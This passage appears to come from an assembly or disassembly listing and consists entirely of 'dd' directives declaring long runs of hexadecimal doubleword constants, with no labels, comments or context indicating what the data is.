		dd 6FE19570h, 0EB2E3BCh, 0EA8097A1h, 0E8D4C12Eh, 0F2A8C076h
		dd 691267C3h, 0E7DA3631h, 0A913D18h, 555E5F5Bh,	0ACB565EAh
		dd 0E9BAF40Ah, 78AE9787h, 3EF9E932h, 1F35EB84h,	83544808h
		dd 96252DF6h, 0BDC63A00h, 0E93BD233h, 23F86040h, 322876CBh
		dd 0E6A8ECF3h, 685C16C2h, 64B2AFCAh, 0C1059434h, 7F22BCEBh
		dd 17309C7Bh, 0A4C5CC02h, 5C4F300Bh, 1C37640Ch,	0EA89BE1Fh
		dd 0C3E152DAh, 150B58B4h, 122BF47Dh, 0FA096491h, 39ABCF05h
		dd 8C3D67A3h, 0E943AE03h, 1A0E2D8Eh, 65EBCA80h,	0C6AE96F2h
		dd 5748AAC4h, 37C820B4h, 30D2EF83h, 502528DBh, 4209F7ECh
		dd 2C9E39h, 0E2058A2Ch,	7601586Ah, 12E23F2Dh, 0D55288D4h
		dd 96D2FB94h, 5066F801h, 9C4077D5h, 4BEA59E7h, 0B237FE3Eh
		dd 0B40C41CEh, 1280DD89h, 0D69E7F5h, 0BF015734h, 156D2B33h
		dd 5CD03D05h, 0F801144Ch, 5F3C072Dh, 1450E83Ch,	1CF02DE9h
		dd 0CFA38049h, 0FCDA1AEBh, 0CAD80AD8h, 6268ABDAh, 65B31AC0h
		dd 956E7DDh, 27D4423Eh,	76BDE253h, 6B5725F3h, 33FDD060h
		dd 50474FB1h, 497D088Fh, 7D48F071h, 0F0715E2Fh,	0FD504AE9h
		dd 41514469h, 1FD77D5h,	81DCF829h, 6414BD70h, 0AE5841E1h
		dd 1CBB0094h, 0C7B3D59h
		dd 970B292Ch, 0BF7DAF5Ch, 7F292450h, 0E93808B9h, 50071651h
		dd 0D1126CB8h, 0EF5C5D0Ah, 2CEAE707h, 4FE92D73h, 0B5BCF414h
		dd 144A2679h, 8D810FAh,	3575E16h, 2002BF11h, 7234C1D4h
		dd 2EB298Dh, 0D481D2Eh,	6853E04Bh, 4B47557Ah, 37000447h
		dd 0BBD6E07h, 84B0ABD7h, 0D4310BDFh, 0E8742772h, 0FDED810Bh
		dd 76AF3767h, 7A4869FBh, 495B4E68h, 277A8AB6h, 1A1863B1h
		dd 70FB198Fh, 7509C119h, 57E3ABE6h, 0C65D5160h,	8CC2FFC0h
		dd 0B5FD201Ah, 0F9630203h, 71CA1B1Fh, 0E131F09h, 0AD14C2E5h
		dd 12465629h, 40AD0A31h, 4770A7EDh, 20EBEC95h, 502866Eh
		dd 71886069h, 691D5C5Bh, 0ABACE05Fh, 825D81EBh,	0B51E4566h
		dd 46EA7728h, 80E90802h, 0D09320F5h, 5E43B305h,	0DFF0C08Ch
		dd 7958F662h, 18B57702h, 287DE617h, 62B1233Fh, 0EA010DE2h
		dd 326D0CC1h, 588CCBB4h, 0B9510248h, 3B9244CFh,	896D89F7h
		dd 27DC6584h, 42400376h, 95CEA4BCh, 0B0E719E0h,	0A7945597h
		dd 3F6B1D22h, 0F81DF7E6h, 68DE032Ch, 851067EAh,	5A386990h
		dd 0DB16C33Ch, 332BE411h, 2E80F440h, 6AC61EFh, 10CF282Dh
		dd 0B0D168EBh, 5851302Ch, 0E8280DB5h, 0BFBF5EFDh, 0A2E28B31h
		dd 0CF3EB525h, 70AF4B97h, 8135E9A2h, 2D96E6BFh,	10DDF0E6h
		dd 9578639Bh, 4F7B147Ch, 0BE009045h, 5A0123AFh,	5EF1091Fh
		dd 8330D9F7h, 3D471481h, 2A05C77Eh, 0FE4D1E2Bh,	5E60F791h
		dd 0C1C38C3Ah, 6C306BEBh, 2FAD35CFh, 0A14E3168h, 3394E079h
		dd 835B81E9h, 917F01C7h, 8A48A2E0h, 0E60DE90Ah,	5BACBA83h
		dd 0E2B0873Eh, 48872211h, 0D4005234h, 0E9522D54h, 0A2B59B36h
		dd 0DF879203h, 0FCFCA6E1h, 564C6C1Fh, 0D85EC97Bh, 12D65BFDh
		dd 82E2BEFAh, 61C3CB9Fh, 6D3AAC4h, 744852CAh, 0B101400Eh
		dd 1081B900h, 31247E66h, 882AC2C1h, 53565F0Eh, 0AE07C268h
		dd 0B0E3DD58h, 6457E9B0h, 5AD22C0h, 58836665h, 0F2F0B68h
		dd 204FACA1h, 0D682E8FEh, 0FA6796BFh, 61829F26h, 0F15D0868h
		dd 7FDC200Fh, 3EA0099Fh, 14FD0CE9h, 2ED7955Eh, 7E624BD2h
		dd 126D6050h, 0F6FA0658h, 5EE3034Eh, 651D9B94h,	0C94ADBFh
		dd 61ECB1A0h, 0E9758904h, 40AF670Ah, 5B1ED00h, 0E6BD2827h
		dd 4ECE83E2h, 0E59DE822h, 0ACD312BEh, 9ECD1839h, 16BFE363h
		dd 0B11A04Eh, 5E887C22h, 0D4950988h, 75F21AFFh,	0A290D93Ah
		dd 7582CD8Ah, 583E76C0h, 2D4DD158h, 0E00C106Ah,	5301B6Dh
		dd 12047E45h, 70B9100Dh, 9CC02D84h, 2EE94428h, 40F4DAD2h
		dd 191430EBh, 97C094B1h, 0C157E81Fh, 7F369FFCh,	7D56855Eh
		dd 901DF249h, 0F90D49A4h, 0F42BD6EFh, 0E9EC01E2h, 0DBBA1135h
		dd 7017090Bh, 23E49D83h, 6628C32Dh, 0E1587ACBh,	0E948C568h
		dd 7BA5B77h, 0E35A5BD0h, 1C2F7467h, 0E7807D43h,	17BC5525h
		dd 0E49B0CC1h, 0EA87E114h, 295D4EA2h, 0A89E15FEh, 10563D0Ch
		dd 0E507A305h, 1BE91405h, 7653E949h, 0BEE4C53Ch, 8B0ABFA2h
		dd 58955B0Bh, 0E84D64E9h, 0D9C82769h, 7AB18906h, 18C1131Bh
		dd 45C70468h, 65E21181h, 5604FB3Ah, 17127F9Ch, 4CEC8F2h
		dd 2E950780h, 0ACB0707Eh, 2975A502h, 14415D08h,	0DFE9D801h
		dd 4E2C794Dh, 0F09F8EDh, 89D50525h, 0D6B07D8h, 65FDF38Bh
		dd 0ADA4AB66h, 0DE4E4C93h, 2051ECD2h, 0F659847h, 7EF96B26h
		dd 5478C56Bh, 0C4F85D5Ah, 9ACC7A9h, 6EDFE066h, 0EB2D8051h
		dd 6691412h, 4BD01FAAh,	175F7745h, 4DE90BF0h, 504E53F8h
		dd 0E23867EBh, 0C67F6316h, 3542049h, 26685C14h,	0A9F184F7h
		dd 0F1C1BA16h, 0E82FE503h, 0A62DB0B9h, 6AEB1D06h, 0F97E0B05h
		dd 7052A6Ah, 42E9C052h,	3E012428h, 1590CF81h, 0C940162Fh
		dd 4EEA1A43h, 836CC063h, 9990FFC2h, 3FE12F70h, 929FC5E2h
		dd 2930FFD0h, 273D88B8h, 49777305h, 0C7E00316h,	268C6FFAh
		dd 760BBF92h, 90FFE659h, 3853091Eh, 15D974DCh, 0C01BCE03h
		dd 3BF2B00Ah, 649616D7h, 0E1D6F801h, 461BAh, 693DBEC7h
		dd 0FD48014Fh, 0C8DA1677h, 4E40BBCh, 10830FBh, 0B531A768h
		dd 11E7D5EEh, 4F12CEACh, 5EC9E5D1h, 5DEB8651h, 0D640EF59h
		dd 300F5F48h, 8C924508h, 314D97C8h, 52362F41h, 3AD59797h
		dd 2CC6851Ah, 2AE0988Dh, 37459FA1h, 160ACA80h, 5C86E90Bh
		dd 0C181F9F6h, 7E7AAD76h, 93EA7B0h, 0CD893ABAh,	83581616h
		dd 0A04D301Dh, 0BC83D72h, 3142E94Ch, 0D131D6F2h, 9F2C5898h
		dd 45E3873Eh, 6FA88166h, 0F3C26A28h, 2E4D771Ch,	3278722Dh
		dd 0A0A64DB4h, 590A9EC6h, 141C0768h, 0E95B5487h, 44982C6h
		dd 3D6EA3E2h, 3100872Eh, 3EA020C3h, 6A01B116h, 40D211EAh
		dd 124CD46Eh, 407B1308h, 1C396889h, 0B5F433E5h,	0E4E34E4Ah
		dd 4CDD2A10h, 0C14110DCh, 17452D02h, 62574380h,	68070116h
		dd 376F38A8h, 1C2D113Ch, 4C8D2B30h, 0E95E1A82h,	924C5A66h
		dd 76C812Eh, 3D0108C8h,	0FF5B4D1Eh, 0F1683B84h,	84DBAE0Dh
		dd 14FFBA69h, 2956BF18h, 0BE0C732Dh, 246EA097h,	446ACD4h
		dd 3E8B09E3h, 95166DBDh, 9833BE06h, 5A8F04D0h, 0EE6AC968h
		dd 0EFD7DACEh, 35209197h, 0EE516450h, 615C27E9h, 628BCEF3h
		dd 9473DCFEh, 5F24FE3Ch, 30210A9h, 0C71E792Dh, 0DD83D218h
		dd 0D7A7F67Bh, 0CD965396h, 87270BC8h, 5E97E160h, 0FDEF0112h
		dd 0ADE86F79h, 0D844B482h, 0EE5C570Dh, 1A3E6302h, 18DDF28h
		dd 8F7D3006h, 0A461D703h, 0EA7DE9h, 9C6EBA3h, 56584666h
		dd 31ED6097h, 29808234h, 609B2D59h, 8E78733Ah, 5FE93DF9h
		dd 705F04Ah, 0F811D13Ah, 9B96799Ah, 8B4D3288h, 657F01EBh
		dd 6EF9A5E5h, 0E8B3208h, 44426851h, 9EDD3E33h, 0D5D397EAh
		dd 0E1C109h, 37F2C952h,	0BC725A42h, 785DB174h, 9AC4BF00h
		dd 7B74CA66h, 0FAC59FEBh, 8167D69h, 27E84CBDh, 4C714AA3h
		dd 49E0C42h, 4A14A95Dh,	81F477E8h, 35D1F8D1h, 31C0D29Dh
		dd 0B81F42F9h, 39350963h, 8D95E081h, 7EC56B82h,	7E60DC0Ch
		dd 48D38518h, 57E645Ch,	16B309Ah, 9CE96180h, 0A0EBB2B3h
		dd 2E517779h, 2F9628Fh,	32B12199h, 0C32EA0D5h, 694908C7h
		dd 0E0821271h, 1AD70C4Bh, 23148279h, 45B9055Dh,	0A84F4A77h
		dd 9EE3E74Bh, 0E3FA851Ah, 812D7BBCh, 65327D5Dh,	0F94204D4h
		dd 81687249h, 0A27E55F7h, 45EC93Bh, 0E9420209h,	0A7FFED13h
		dd 77094AA3h, 60A76345h, 0B5887003h, 7F9684F9h,	0EF814D40h
		dd 16F91C57h, 1CF0130h,	96623E91h, 19BC4126h, 7A0ADDBAh
		dd 0FE4BD7EDh, 680BCB2Bh, 18464CDDh, 7253AC97h,	0AC6B10CDh
		dd 53E91E3Fh, 349E72A5h, 0C00C4352h, 0F36CBC99h, 8BCBEDA0h
		dd 39FA0C5Ah, 0CC618236h, 40512209h, 2D4DC791h,	835F7B0Eh
		dd 0C8EDE1ABh, 20E90A89h, 0DD957515h, 68A0E693h, 36964DD4h
		dd 0ABF84E44h, 0B8D54B73h, 48990FEh, 7CBB9B71h,	0B0AE5FC4h
		dd 0D4FE9E6h, 0F3F14912h, 9DA65E30h, 175C9868h,	0A20985ACh
		dd 0FE4A601Ch, 155A2513h, 538E4E96h, 5D0C297Dh,	0C810BCCh
		dd 0CA666058h, 8CFEE054h, 2FB8604Bh, 766FEFE0h,	0F83D7025h
		dd 1D286E77h, 0AA48C1A4h, 89C2ACECh, 897F5BDFh,	0FC657CBh
		dd 0FB5AD027h, 9677A9D1h, 78E7B103h, 680DD81Eh,	973070BEh
		dd 7A58A674h, 4CAB2F2Bh, 4080D28h, 0EF777668h, 90E749CCh
		dd 41BC09E4h, 0C5845CF9h, 2E79CD0Eh, 6C8F2DEEh,	4837A25Bh
		dd 9780578h, 481EF56Ch,	0E00ED156h, 2D64D802h, 0A8672FB6h
		dd 0D2277AFEh, 2560E759h
		dd 874BD00Dh, 966F041Eh, 3833ED3Eh, 0EBF42C59h,	60A26813h
		dd 13A10503h, 11A84738h, 295BAD46h, 740D2BCh, 12BF5157h
		dd 963EA82Fh, 417F6FBCh, 18B8605Ch, 3AC42A24h, 27C1EA00h
		dd 66E9CE62h, 4A5895BFh, 9559970Bh, 33EAF737h, 0EA8F8138h
		dd 7080FF82h, 35C950A3h, 80BF464Bh, 1B57B269h, 64A7E54Eh
		dd 8592E913h, 27C0FAABh, 0C20EF580h, 872C7F06h,	483A017Ch
		dd 0C0FAB5D1h, 806DB642h, 47ABC627h, 0AF52123Ah, 92B49305h
		dd 80A5C3BEh, 0F455A09Ah, 0FE070648h, 361042C6h, 68B0F588h
		dd 0B09D2284h, 1B57810h, 0B2C580DFh, 0C0A6B753h, 283D5BFDh
		dd 4FEDBCE5h, 3DB108ECh, 0FDB7343Ch, 9B580EEh, 99756CE6h
		dd 471F0AB5h, 90AA8F7h,	50C3315Dh, 0D75E4809h, 0C55E37E2h
		dd 2ED98999h, 628CD1B0h, 877D4082h, 4FC93D1Dh, 0E9196796h
		dd 40D6DE66h, 0DD2D9782h, 0FB72776Ah, 0A1C21E5Fh, 0AB317731h
		dd 0E2FAF953h, 0DF743B77h, 0B2E79176h, 1BFE9F34h, 5746AF0Bh
		dd 84972BC6h, 0F300273Eh, 386203A5h, 33696818h,	9D6435D5h
		dd 7BE07FC9h, 0B0126BF6h, 0A052C0FDh, 624B5CE9h, 22A76B90h
		dd 8340B7E3h, 31395F24h, 5E005F3Ch, 1539F4CDh, 890B479h
		dd 0C62414E3h, 0C87BC101h, 0ECF3AF13h, 1FEBE94h, 0FC71C423h
		dd 0CDC47045h, 96F03013h, 0A9686542h, 60137474h, 62C7507Dh
		dd 0E99A5950h, 49EEE15Bh, 53524A87h, 0EA8384B7h, 628491A8h
		dd 0E20112F2h, 6EA42DCAh, 6BF5C72Bh, 0FE55F64Ah, 799F0296h
		dd 2F7AAB8Eh, 0C6FF7776h, 0B19F3C7Fh, 0C67525FDh, 122E5A9Bh
		dd 0D179EA83h, 0E6B2EC02h, 0F0211939h, 0AD0CA05Eh, 19DF7E8h
		dd 0D4AFF926h, 33B1D340h, 0E5313E80h, 810478AFh, 68689FF5h
		dd 5C957CFEh, 30502756h, 0B2809D20h, 6050796Eh,	3ABBB50Ah
		dd 0E7A04871h, 0F2DD2E3h, 0BF1F0C2h, 3151A455h,	0F3E06909h
		dd 85B2B439h, 8C961EF6h, 0BFCC5FC9h, 137BE916h,	0C818E2F9h
		dd 24763BD1h, 0D2EE9A97h, 0FA5F5FDCh, 63A2E824h, 97CE542Fh
		dd 0C13B405h, 0E0BB491Ch, 6419F139h, 74F88276h,	0F6E8137Eh
		dd 1D90DEBFh, 0E5C74B7Ch, 3BF261E0h, 5AEC22BEh,	726AA5DDh
		dd 0AA4ABEF8h, 40613CD8h, 0AE4C2CF8h, 0C05804D8h, 7AC702EDh
		dd 0D3F02825h, 31534046h, 0D0B55DF0h, 585BA6EBh, 272CC605h
		dd 0BCE90612h, 4F9416A0h, 7E44A5EFh, 35623489h,	83685B07h
		dd 0CB120E09h, 56B044E5h, 4AD83D02h, 0DD5CCCE9h, 0FB17AFA4h
		dd 9C0CFB64h, 0BBA1421h, 483F498Fh, 31168701h, 38F12BB6h
		dd 2C9BE17Bh, 1A05B717h, 0A4EFC2FEh, 660499FCh,	9F82B252h
		dd 160277D3h, 0BE006BE7h, 48CBA526h, 14058951h,	0A940F612h
		dd 6B0841C5h, 9DCF5238h, 0BE972C8Fh, 57EF5B20h,	0F57D4F6Ch
		dd 1C080622h, 6166BD0Bh, 0CCC30608h, 0B4625EA4h, 4318BADEh
		dd 95864EAEh, 0C982EDFh, 0A898927h, 0A23F3553h,	5DEA0B43h
		dd 4B823958h, 30DD4529h, 803ED293h, 7A1E35BBh, 438767D4h
		dd 5A1BFF44h, 2D0A7858h, 0FDD45FCCh, 0A9EF77Ah,	33536870h
		dd 59E913F6h, 863F37BBh, 93906BABh, 2645809h, 0D4380B61h
		dd 99C83112h, 485E02B1h, 3BA526Eh, 497E5D2Eh, 0E21BEA83h
		dd 0B0132BF2h, 7F34F4EDh, 0A37AB7A6h, 3E5A0881h, 0D3C0F2ADh
		dd 616850E0h, 0F1BD7870h, 3F984D54h, 0A26A90A5h, 4F4B4CD2h
		dd 8373A3E9h, 0E5C15DDAh, 505A00A5h, 28DC7288h,	25B33867h
		dd 7D715C59h, 96FD825h,	0AF04162Dh, 0F69B3502h,	5C02A208h
		dd 614B627Ch, 96930741h, 4511C8B8h, 0F6971E70h,	3B5C51DDh
		dd 821F24EFh, 57096D66h, 5C9F21D0h, 0E67027BEh,	0EAF65295h
		dd 7CA7FBFDh, 2004CDE1h, 2C74F808h, 9B7A1FCh, 0F1315C84h
		dd 685C0087h, 8C1F5F51h, 2A41E8E7h, 13FB75F5h, 0B85D3C0Bh
		dd 50A1C590h, 30B561ABh, 2C643F42h, 3A1407D6h, 0E79ED7F6h
		dd 40EF0FE4h, 3A97DA9h,	0E3209B6Eh, 68521371h, 158CFF8Eh
		dd 482375A0h, 0CB01C815h, 2E490F40h, 23C0C643h,	91218F7h
		dd 278A532Ch, 0BE1CD958h, 3BDD275Eh, 0E9D4EABBh, 7B385CA2h
		dd 0BC79F4A7h, 9D5D266Fh, 27776608h, 1B09575Bh,	21EE779h
		dd 0DBE95750h, 7BD7C989h, 75AF2A08h, 173B931h, 965AFDC1h
		dd 0FE506A65h, 0D3E64A08h, 4102C114h, 464B26C6h, 0F717B805h
		dd 0F7A8DEFAh, 5CBCD25Ah, 35058350h, 48A15FCh, 3F1982BAh
		dd 0EA318BA2h, 37A8EE1h, 0D5E9EF56h, 4D2DEF72h,	2FA76752h
		dd 7B752C09h, 417A881Bh, 7FECD430h, 70D76EAh, 76638AE1h
		dd 91C9C728h, 8F4E4D6Ah, 0A0B7EE24h, 0E9CB0901h, 8161D460h
		dd 54CF3607h, 0E7F9E406h, 86D12064h, 14249784h,	26B9A8B6h
		dd 0B202064Bh, 5753C963h, 3F802F56h, 89C1E63Ah,	67E912DAh
		dd 1233F387h, 22A7A6A9h, 1E6A2F7Bh, 28DABA3Bh, 0F32209FFh
		dd 332D4251h, 10266801h, 0D2A81E6Ah, 0FEE3E0C5h, 0CB80C301h
		dd 6EBC057h, 0E220E3D9h, 0E118700Dh, 7B27A36Fh,	0E6B7ED98h
		dd 0E8965B8Eh, 20FFD389h, 7969688Ch, 0E9164D04h, 23AA4888h
		dd 0A7A2ED51h, 0FDC1A141h, 89D3EC13h, 38E9CE12h, 88FFC385h
		dd 0BDEC556Ah, 0F46B7F3Fh, 0F0BD19BAh, 0B1681757h, 7DE8B476h
		dd 0DA825F82h, 457D0357h, 0D0CF3B28h, 330DEE3Bh, 16C07D44h
		dd 0F52B4453h, 1C08060Bh, 49F0148Bh, 516F0A43h,	8A5A620Ch
		dd 14CF8777h, 5228740h,	63E004Fh, 39C22560h, 0ECEA355Ch
		dd 0BF13C13h, 6A2D08C0h, 0D51F2EBDh, 50D010B5h,	0BF4153CEh
		dd 409F0630h, 0D5F6BEF9h, 85A01350h, 5D1962BDh,	6584A7Ch
		dd 0A232D640h, 0EBFCB28h, 7D62C9E2h, 26597D46h,	0CD800BA8h
		dd 0B6E387B9h, 1237E4B3h, 0E84EC317h, 9D84708Fh, 250F96F7h
		dd 0E1D549E9h, 0ED2AC474h, 0A7BBB43Fh, 7733501Fh, 2566E97h
		dd 8C720EBFh, 7E7D3122h, 0B359440h, 0D2305E2Dh,	0B80629A8h
		dd 7B44681Dh, 0DB612DE3h, 0B54344F1h, 6816023Fh, 4FB273C7h
		dd 0D0AD9865h, 5E542D95h, 0DF274067h, 0EEEC8496h, 0E96FD4B5h
		dd 0D15579C2h, 307D5ACFh, 9570C305h, 11201DC7h,	0CD881437h
		dd 2DEF6144h, 59C34390h, 5B4336B8h, 2C002D70h, 0B4050EBCh
		dd 3E1E5508h, 751D801h,	41A01240h, 0E97D0844h, 923A804Bh
		dd 31503ED5h, 23387D8Eh, 32BA5F50h, 0B1DE9A86h,	64BE5A17h
		dd 5BB3BBC8h, 35A6801h,	0E1E90905h, 28752463h, 270182F0h
		dd 7CBCE681h, 0F42B2630h, 0FFEAD47Eh, 3E097797h, 9E9F69DFh
		dd 0A3DAD7CAh, 272D5279h, 441EDFCDh, 0E92B5D63h, 0A2EB94DCh
		dd 8005C98Ah, 17A38C5h,	72D50C8h, 0FF874E59h, 9A1336CAh
		dd 1F2DAB06h, 8802B8D5h, 1A08E956h, 8020F3h, 3ABE187Ch
		dd 1BF7815Fh, 0C8F7112h, 0A26EC0E1h, 34175867h,	0C8BFA916h
		dd 690F412Dh, 37871297h, 74C06012h, 167FCBDh, 0EB896010h
		dd 2DD8315Dh, 7E518BE0h, 3515023Fh, 0ACFC032Eh,	2665C308h
		dd 84780147h, 0A5898BAFh, 945603Ch, 4E92FDFh, 0DA8BCC8Eh
		dd 0ECE9E2D8h, 3E92ADB5h, 6626FD27h, 1534E9Fh, 0A4565A41h
		dd 401B281Fh, 0CF798907h, 5A7F38E7h, 0BAE55CFDh, 823B3167h
		dd 0F6EB2216h, 825A01h,	0BE003F69h, 4AF0A454h, 29E0B03Bh
		dd 82428997h, 90AB131h,	0E9FB09DDh, 5E2F16Fh, 0FAE13459h
		dd 93922A61h, 6F0FF188h, 2A127D26h, 0BF4BA6B2h,	0FD6D1A39h
		dd 23D3310h, 0E287C2BAh, 84E35550h, 9C57C9A7h, 6AAAFC38h
		dd 30F61CCAh, 2CFEBD27h, 2D58C400h, 713C545Bh, 5E82829h
		dd 0D64BD07h, 0C000FD41h
		dd 307D1BF3h, 0F40C3290h, 9415CDF6h, 94A2D931h,	0CFEB28B7h
		dd 285238E5h, 0E92408C6h, 0AFA8F044h, 0E82DC098h, 5B6BD84Eh
		dd 0E266AE02h, 3AD99F84h, 77ED8158h, 0E178263Ch, 52EE1292h
		dd 4A61AEF3h, 5F030B43h, 0CCD5BCB2h, 42EC2018h,	53793092h
		dd 14C2D64Eh, 5A165C5Ah, 0EEB1C602h, 68415EF4h,	0CC3B7E39h
		dd 2C25E90Ah, 0B7DF15Ch, 0CF103F16h, 67B77A3Eh,	7693BF44h
		dd 61EABD99h, 34D0684Ch, 4B28A3Ah, 36756C1Ah, 702ECA80h
		dd 1DF79E01h, 0DC1C793h, 0B527549h, 0E1D7D7BBh,	9F7A0C1Fh
		dd 41A85E8Ch, 1774DD90h, 0B06E10CFh, 79440B02h,	0A5F2B7C1h
		dd 3CFF5E5Eh, 0BE503139h, 99162718h, 2AB1BBFDh,	578ED6Bh
		dd 1ACA02D0h, 7F54E301h, 7A802F14h, 8B875F4h, 154B84E9h
		dd 36D57E44h, 43684F01h, 0C0E17C4Ah, 5B380676h,	49E100D1h
		dd 1E17BA52h, 0F8957A9Dh, 54010CF1h, 0A90C7687h, 0C065A12h
		dd 0E1F0BD87h, 7F684410h, 6CF10F75h, 1E40746h, 2A7DF8CFh
		dd 0B4B0C143h, 4A8D2A59h, 0F40085ECh, 35097E6Fh, 0B9276B1Ah
		dd 193DF4DDh, 2BBE2C5Eh, 8DAA9E13h, 8B742E94h, 0D51606A6h
		dd 8839385Ah, 4E683F40h, 0EAF63Dh, 216D144Ch, 9003EBC1h
		dd 7AC50A02h, 3FBD77BFh, 33AF0689h, 0A19BEB5Dh,	0A63BD451h
		dd 1C0F178Bh, 9A9E3D8Ch, 0A9E92F72h, 4269A0F5h,	7C2C8C75h
		dd 4F9C9087h, 598C8F25h, 0A76748EEh, 582BE9C2h,	0AD5850C8h
		dd 90FDFE7h, 0FB773AC5h, 24B92BB2h, 6422FA8h, 1947F455h
		dd 605533ACh, 35E6638Ah, 0DA24397Ch, 0BCA2DFB3h, 785A0CF2h
		dd 82531622h, 688A2DCEh, 3D274629h, 63174A06h, 9E36A8DCh
		dd 19FD9F17h, 0F892EB3Fh, 0D9E250A3h, 414BA204h, 8618FE5Ch
		dd 0E1CFE9ABh, 0F3A884C3h, 16EBCA1h, 0A1ED172Ch, 0B17AD0C1h
		dd 0D2FFDA52h, 0EB810037h, 3CCF086Ch, 0ACB0D329h, 1C4E0883h
		dd 5337D3F9h, 8D10699Eh, 81805CFAh, 3DE07FCBh, 0FE951158h
		dd 1621AFC5h, 0E6ABD613h, 0E95A052Bh, 2FD4D747h, 0CFDAB8FAh
		dd 0D0A4CBCFh, 9DBD0F2Ch, 9812D693h, 316969Dh, 12EA2AE1h
		dd 5208B4Eh, 79FF57D7h,	2B78890Fh, 7FB604ADh, 0CBB49B0h
		dd 739D2819h, 2EB094E2h, 4EAA375Ah, 5FC4AB2Eh, 5C09EF40h
		dd 85B25935h, 1F1CB252h, 4ECE56A4h, 0E4C45670h,	76FF978h
		dd 5E716EF8h, 517948B2h, 8E4E8272h, 5BC0DDFEh, 2A2602C2h
		dd 1B003F20h, 29195B0Eh, 81CD0D6h, 2D141C68h, 0F60F7BA9h
		dd 0E77768EBh, 62F6AC87h, 0E901705Ah, 5D6E8AF0h, 0D603D22Ah
		dd 0AC0B3634h, 0E216223Bh, 9070BEBh, 7C39D5EDh,	84122A73h
		dd 32077FB2h, 0E201035Dh, 600B986Eh, 9F8CED57h,	0DA1C844h
		dd 38B80053h, 0A93264Fh, 8D52516h, 6809B556h, 968468DBh
		dd 0FF258571h, 41582399h, 79CE284h, 0D780FD79h,	0A9F31FCFh
		dd 0C8BC5CFAh, 0D7147D27h, 7F258399h, 9660CC32h, 808045F1h
		dd 0E3CCFFCBh, 9E0CC986h, 0B49239E3h, 2CCC835Fh, 659872Fh
		dd 950CB106h, 4C267F6h,	0E8907D53h, 0ADC24A21h,	4C393F68h
		dd 0FE48E40Ch, 0BFE91365h, 0B195514Ch, 40F2AA74h, 97941340h
		dd 6850C8F4h, 0D2725FE8h, 0A25F562Dh, 404302BAh, 24FE60E8h
		dd 1C667911h, 18772750h, 3C21B08Ah, 4086282Ch, 0D307E0C0h
		dd 58594844h, 80099F88h, 615D8DE5h, 0C04105A0h,	0C99D2DCBh
		dd 2D52DFE1h, 0B5749DDFh, 0A8198489h, 292F96h, 0E37045C2h
		dd 0BA585F7Fh, 0B6523230h, 0D2B10285h, 885AF128h, 97E9EFC0h
		dd 9AE55F3h, 6C772CE1h,	0EC7497DEh, 6D05E905h, 1E40A252h
		dd 0FA7215F6h, 37F29763h, 67257001h, 180E923h, 7EEBC58Fh
		dd 0EE20B745h, 0C6EA4970h, 0DE4F7D44h, 0C274810Ch, 0A0DA012Fh
		dd 0CD008FAh, 0CD065014h, 0F197A59Ah, 0EA50C47Eh, 4F83C1C0h
		dd 41514134h, 9B54BFh, 3D53C4FEh, 832529B7h, 7EB5A070h
		dd 55E9F048h, 36EEFD5Bh, 77263AB9h, 4042171Ch, 0C1277464h
		dd 57D11E9h, 394D9600h,	58138A7h, 856D57F5h, 5DC2AF02h
		dd 3C23DE43h, 0EE52C296h, 0E9D62480h, 405660B7h, 0A9296BB9h
		dd 2ABB6701h, 31412F2Eh, 0E9662C3Bh, 30B737FEh,	97E66D7Ah
		dd 5505DCC4h, 47AA6852h, 627B73E3h, 996C4158h, 6946D17Fh
		dd 0D2C73066h, 69907AE4h, 2DDF74Dh, 851FB850h, 405D9613h
		dd 80A3277Fh, 20BF781h,	7557EB16h, 6CD10A87h, 31136030h
		dd 3F84718Fh, 0BDC50BC1h, 64FC2102h, 0E29D2EBDh, 909FC6A5h
		dd 3EBB41CAh, 266772E9h, 7D5BD2F5h, 76EF5F6Bh, 0BC803FADh
		dd 743D2CEDh, 24649C05h, 75ED7D25h, 7DED110Bh, 0D99FF79Ch
		dd 0EC626A1h, 0BF135508h, 60186CA7h, 0B1C6793Eh, 0DE2ECD04h
		dd 4FA8F131h, 9DEAE478h, 5204CA6Ch, 0A63DE954h,	1282E9A4h
		dd 0C03E9E13h, 0F9A1BD92h, 0E2369A2Fh, 0E209DFC8h, 2B39D978h
		dd 0BE56012Ch, 717E1D29h, 7CF6F470h, 20CD9813h,	0B5264945h
		dd 73040495h, 0B2AAF530h, 50550EF5h, 88488068h,	792D584Dh
		dd 4FF1584Fh, 412E7816h, 611939FEh, 68A1E977h, 8E9E5B41h
		dd 9B10A742h, 6B8C5A67h, 1570602Ch, 35E76696h, 0CFEEC128h
		dd 0FCBD3F9Ah, 7CF1896Eh, 6CC8420h, 0D0F43F45h,	68249F61h
		dd 607361E2h, 0E6B1C44Eh, 8B80236h, 0F7530160h,	0F80DEA00h
		dd 6C603047h, 4E680310h, 1E2AB33Ah, 7A9001FDh, 7EA140E9h
		dd 4787A9ECh, 0DBDD0952h, 19E9C1E2h, 0E3BD6EE1h, 9596223Ch
		dd 0C50EA854h, 0DA881368h, 0C66C442Bh, 7AB7402h, 76F309AAh
		dd 97DAC2A0h, 1D25409h,	4E1216BDh, 72A82E5Fh, 2D5279Fh
		dd 8990E9DEh, 0E8276A42h, 80676B7Dh, 282D5DBFh,	90AD010h
		dd 6F55380Fh, 0C4C853D0h, 0D1FA2792h, 688037F0h, 141F171Eh
		dd 317B4030h, 892D97D7h, 0F4E9D112h, 9E058DF0h,	7BFEA75Dh
		dd 7CC3E9C2h, 0AF5E132Ch, 0CE814A07h, 2B185811h, 53CD8882h
		dd 0A2E03132h, 0EB90895Ah, 0FC5CBB27h, 7CF9628Bh, 5A10F706h
		dd 0B54FC49Ch, 0A2AC6ADBh, 2974EA4Fh, 0BED23FB9h, 9450378Ch
		dd 0EDD00EFCh, 0CDFEE542h, 0FE15D9C3h, 2F71841h, 873988F2h
		dd 0E5E05526h, 36C0C3CCh, 611575B9h, 20FF974Ch,	0F720C530h
		dd 61FEF255h, 4E67EA5Fh, 809DEF41h, 8C4B38A1h, 20F0455Ah
		dd 6CE162C1h, 0EE54408Bh, 4E776841h, 932AE33Fh,	26E672ECh
		dd 0C2CEE925h, 55565FE2h, 9CBF805Eh, 12E317BFh,	0C9C4A231h
		dd 0DD608052h, 0BF4E15E9h, 0C693896Bh, 1BF20860h, 0CD52A903h
		dd 520D1A4Ch, 5A440529h, 7C9AE92Dh, 0E1A97AF1h,	0C30254ECh
		dd 69FB8AF6h, 5F4BE853h, 33222F20h, 700F3E2h, 3EE9415Bh
		dd 9D97A9Dh, 0E788ABB4h, 1781804h, 8D9BD66h, 1FD5F4D2h
